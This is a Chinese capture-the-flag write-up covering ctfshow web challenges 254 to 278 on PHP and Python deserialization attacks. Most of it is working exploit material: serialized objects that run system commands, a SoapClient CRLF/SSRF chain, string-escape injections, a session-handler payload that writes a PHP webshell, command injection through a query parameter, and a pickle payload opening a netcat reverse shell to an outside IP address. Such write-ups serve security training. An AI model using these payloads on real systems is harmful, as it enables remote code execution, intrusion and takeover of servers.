CTFSHOW—反序列化

web254
?username=xxxxxx&password=xxxxxx
web255

GET /?username=xxxxxx&password=xxxxxx HTTP/1.1
Host: d66c6632-05e8-4703-9bac-14213020568d.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: user=%4f%3a%31%31%3a%22%63%74%66%53%68%6f%77%55%73%65%72%22%3a%33%3a%7b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%35%3a%22%69%73%56%69%70%22%3b%73%3a%34%3a%22%74%72%75%65%22%3b%7d
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

web256
输入的username和序列化的一样,password不一样。

<?php

class ctfShowUser{
    public $isVip=true;
    public $username='wa1ki0g';
}
echo serialize(new ctfShowUser);

web257

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

以前做过,写wp的时候会环境打不开,直接搬了别人的
也可以不用:
(知识点:php7.1+反序列化对类属性不敏感
利用php特定版本下对private和public不敏感的特性构造)

web258
正则可以直接加个+绕过

GET /?username=xxxxxx&password=xxxxx HTTP/1.1
Host: 6d77bae1-031e-473d-a426-44f8fd1e4c9b.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A13%3A%22system%28%22ls%22%29%3B%22%3B%7D%7D
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

执行了ls
web259
在这里插入图片描述

利用点:SoapClient::__call+ssrf
在这里插入图片描述
可以看到soapaction可以被控制
但Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据,在header里User-Agent在Content-Type前面,可以利用User-Agent进行注入CRLF
payload:

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wa1ki0g^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

这里uri是必须要有的,要不序列化的时候会报错。
web260
ctfhsow=ctfshow_i_love_36D
web261
不会,就告诉了有个反序列化的参数我哪知道要干嘛。。。
web262
发现可以用replace进行反序列化字符逃逸,看了半天,但是没发现利用的点,后来看注释发现还有个message.php。。。访问发现只要token=admin就可以得到flag。
利用点:序列化后进行str_replace(‘fuck’, ‘loveU’, serialize($msg))

27个字符:";s:5:“token”;s:5:“admin”;},利用replace函数逃逸出27个字符就好

f=wa1ki0g&m=0x4e&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

web263
session反序列化
在这里插入图片描述
不同引擎存储的方式不同的是。
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法
在这里插入图片描述
其实总的来说就是利用session.serialize_handler与php.ini的配置不同引起的反序列化的问题。

<?php
class User{
    public $username='wa1ki0g.php';
    public $password='<?php system("cat f*");?>';
    public $status;

}
$a=new User();
echo base64_encode('|'.serialize($a));

访问首页,抓包修改 cookie中的limit值 为序列化后的字符串,访问 check.php,成功写入shell
web264
同262做法

f=wa1ki0g&m=0x4e&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
GET /?f=wa1ki0g&m=0x4e&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;} HTTP/1.1
Host: 363fb3f9-0ec8-4e28-94d5-09abee4a4684.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=s5v4jbhmifaf7mev8tra99ree1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

GET /message.php HTTP/1.1
Host: 363fb3f9-0ec8-4e28-94d5-09abee4a4684.challenge.ctf.show:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=s5v4jbhmifaf7mev8tra99ree1;msg=1;
Upgrade-Insecure-Requests: 1

web265
学过c++或者系统学过php的都知道有个引用的语法糖。可以自行查一下

<?php
class ctfshowAdmin{
    public $token;
    public $password;


    public function login(){
        return $this->token===$this->password;
    }
	
}
$a=new ctfshowAdmin();
$a->token=&$a->password;
$a=urlencode(serialize($a));
echo $a;

web266
php对类的名不分大小写,可以大小写直接绕过正则。
因为用的是php://input,直接post一个序列化的字符串调用__destruct()函数即可

<?php
class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$a=new ctfshow();
$a->username='wa1ki0g';
$a->password='wa1ki0g';
echo ((serialize($a)));

web267-270
yii框架的反序列化漏洞
直接搜个现成的exp打就可以
可以参考着这个来:
https://www.cnblogs.com/thresh/p/13743081.html
都直接搜的exp打的,有空好好分析下这些链。
web271-273
laravel5.7和5.8的洞,直接搜下打就好了,有空都复现分析下。
web274
thinkphp5.1的反序列化漏洞,好像上次湖湘杯线下也有这个。
web275
__destruct析构函数可以执行命令

?fn=;cat flag.php
flag=wa1ki0g

web276
看见了file_put_contents这个文件操作函数,觉得应该是phar反序列化,明天再写吧,困了。。。
web277-278
F12看见了pickle.loads,python反序列化没跑。python的反序列化洞其实就是python在序列化的时候会把类中的方法也序列化成字节码,并且反序列化的时候会执行。
没回显,直接vps监听个端口弹个shell回去就好

import pickle
import base64
class Wa1ki0g(object):
	def __reduce__(self):
		return(eval,('__import__("os").popen("nc 49.234.61.68 8000 -e /bin/bash").read()',))
print(base64.b64encode(pickle.dumps(Wa1ki0g())))

要注意这个object是必须要写的
没vps用dns外带下也可以

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值